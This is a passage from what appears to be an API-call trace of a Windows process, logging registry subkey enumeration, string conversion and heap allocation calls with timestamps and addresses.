cchWideChar=17, lpMultiByteStr=0x119c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0187.940] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.940] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.940] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.940] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.940] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0x119b930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0187.940] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.940] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0187.940] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x119c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0187.941] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.941] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.941] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.941] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.941] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0x119b930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0187.941] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0187.941] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x119c0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0187.941] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.941] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.941] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.941] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.941] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0x119b930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0187.941] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0187.941] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x119c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0187.941] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.941] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.941] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.941] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.941] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0x119b930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0187.941] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0187.941] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x119c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0187.941] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.941] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.941] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.941] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.941] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0x119b930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0187.941] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0187.941] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x119c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0187.942] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.942] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.942] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.942] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.942] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0x119b930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0187.942] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0187.942] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x119c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0187.942] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.942] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.942] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.942] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.942] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0x119b930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0187.942] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0187.942] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x119c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0187.942] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.942] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.942] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.942] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.942] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0x119b930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0187.942] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0187.942] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x119c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0187.942] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.942] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.942] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.942] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.942] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0x119b930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0187.942] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0187.942] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.942] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x119c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0187.942] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.942] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.942] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.943] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.943] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0x119b930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0187.943] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0187.943] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x119c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0187.943] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.943] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.943] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.943] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.943] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0x119b930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0187.943] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0187.943] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x119c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0187.943] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.943] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.943] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.943] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.943] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0x119b930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0187.943] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0187.943] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x119c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0187.943] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.943] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.943] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.943] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.943] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0x119b930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0187.943] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0187.943] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x119c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0187.943] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.943] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.943] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.943] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.944] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0x119b930, cchName=0x104 | out: lpName="DirectShow") returned 0x0 [0187.944] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0187.944] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directshow", cchWideChar=10, lpMultiByteStr=0x119c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directshow", lpUsedDefaultChar=0x0) returned 10 [0187.944] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.944] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.944] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.944] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.944] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0x119b930, cchName=0x104 | out: lpName="DirectX") returned 0x0 [0187.944] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0187.944] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x119c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0187.944] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.944] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.944] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.944] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.944] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0x119b930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0187.944] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0187.944] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x119c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0187.944] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.944] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.944] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.944] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.944] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0x119b930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0187.944] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0187.944] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x119c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0187.944] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.944] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.945] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.945] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.945] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0x119b930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0187.945] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0187.945] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x119c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0187.945] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.945] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.945] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.945] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.945] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0x119b930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0187.945] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0187.945] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x119c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0187.945] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.945] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.945] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.945] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.945] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0x119b930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0187.945] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0187.945] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d8 [0187.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x119c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0187.945] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c120 [0187.945] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c0d8) returned 1 [0187.945] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c120) returned 1 [0187.945] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bbb8) returned 1 [0187.945] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0x119b930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0187.945] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bbb8 [0187.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0187.945] RtlAllocateHeap (HeapHandle=0x1190000, 